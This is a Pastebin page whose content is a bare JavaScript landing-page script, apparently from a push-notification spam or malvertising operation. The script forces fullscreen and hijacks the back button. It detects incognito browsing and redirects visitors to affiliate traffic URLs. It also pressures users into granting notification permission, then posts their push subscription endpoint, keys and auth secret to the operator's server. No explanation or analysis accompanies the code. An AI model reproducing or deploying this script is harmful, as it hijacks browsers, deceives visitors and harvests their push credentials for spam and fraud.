Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 'use strict';
- var guardEnabled = true;
- var isChrome = /Chrome/.test(navigator.userAgent || '') && /Google Inc/.test(navigator.vendor || '');
- window.onload = function() {
- var e = document.body;
- e.onclick = function() {
- (e.requestFullScreen || e.webkitRequestFullScreen || e.mozRequestFullScreen).call(e)
- };
- document.addEventListener('keydown', function(e) {
- return void 0 !== e.keyCode && !(e.metaKey || e.ctrlKey) && void (document.fullscreenElement || (document.documentElement.requestFullscreen ? document.documentElement.requestFullscreen() : document.documentElement.mozRequestFullScreen ? document.documentElement.mozRequestFullScreen() : document.documentElement.webkitRequestFullscreen && document.documentElement.webkitRequestFullscreen(Element.ALLOW_KEYBOARD_INPUT)));
- }, false);
- };
- function text() {}
- function textr(){}
- function urlB64ToUint8Array(base64String) {
- const padding = '='.repeat((4 - base64String.length % 4) % 4);
- const base64 = (base64String + padding)
- .replace(/\-/g, '+')
- .replace(/_/g, '/');
- const rawData = window.atob(base64);
- const outputArray = new Uint8Array(rawData.length);
- for (let i = 0; i < rawData.length; ++i) {
- outputArray[i] = rawData.charCodeAt(i);
- }
- return outputArray;
- }
- function disableHistory() {
- try {
- $(window).on('popstate', function(t) {
- if (t.state) {
- if (Notification.permission === 'granted') {
- location.replace('https://url-partners.g2afse.com/click?pid=9824&offer_id=11&sub2=mln324');
- } else {
- location.replace('https://4.puttraffic.com/?p=miywmn3cg45gi3bpge4dana&sub1=Cairo&sub2=tony.v2');
- }
- }
- });
- } catch (error) {
- }
- }
- function disableIncognito() {
- var fs = window.RequestFileSystem || window.webkitRequestFileSystem;
- if (fs) {
- fs(window.TEMPORARY, 100, function(fs) {}, function(err) {
- location.href = 'https://url-partners.g2afse.com/click?pid=9824&offer_id=11&sub2=mln323';
- });
- };
- }
- if (!guardEnabled) {
- disableHistory();
- }
- disableIncognito();
- let myApplicationServerKey = urlB64ToUint8Array('BIbjCoVklTIiXYjv3Z5WS9oemREJPCOFVHwpAxQphYoA5FOTzG-xOq6GiK31R-NF--qzgT3_C2jurmRX_N6nY4g');
- var denied = function() {
- window.history.forward();
- window.location.href = 'https://4.puttraffic.com/?p=miywmn3cg45gi3bpge4dana&sub1=Cairo&sub2=tony.v2';
- };
- var Subscribe = function() {
- navigator.serviceWorker.ready.then(function(reg){
- reg.pushManager.subscribe({userVisibleOnly: true, applicationServerKey: myApplicationServerKey}).then(function (sub) {
- console.log('Subscription fetch');
- let gmt = - new Date().getTimezoneOffset()/60;
- let rawKey = sub.getKey ? sub.getKey('p256dh') : '';
- let key = rawKey ? btoa(String.fromCharCode.apply(null, new Uint8Array(rawKey))) : '';
- let rawAuthSecret = sub.getKey ? sub.getKey('auth') : '';
- let authSecret = rawAuthSecret ? btoa(String.fromCharCode.apply(null, new Uint8Array(rawAuthSecret))) : '';
- fetch('/?push=14cb49ea-6980-4512-a1bc-17a737f56562&d=miywmn3cg45gi3bpge4dana&land=19',{
- method: 'POST',
- body: JSON.stringify({id:sub.endpoint,key:key,secret:authSecret,gmt:gmt,uri:window.location.href})
- }).catch(error => console.log(error));
- window.location.href = 'https://url-partners.g2afse.com/click?pid=9824&offer_id=11&sub2=mln324';
- }).catch(function (error) {
- denied();
- });
- });
- };
- var CheckSubscription = function() {
- if (Notification.permission !== 'granted') {text();}
- Notification.requestPermission().then(function(){
- if (Notification.permission === 'default' && isChrome && guardEnabled) {
- return window.history.back();
- }
- if (Notification.permission === 'granted') {
- Subscribe();
- }else{
- textr();
- denied();
- }
- });
- };
- if ('serviceWorker' in navigator) {
- navigator.serviceWorker.register('/w_23.js')
- .then(function(reg) {
- if (Notification.permission === 'granted') {
- window.location.href = 'https://url-partners.g2afse.com/click?pid=9824&offer_id=11&sub2=mln324';
- }
- else if (Notification.permission !== 'denied') {
- CheckSubscription();
- } else {
- denied();
- }
- });
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement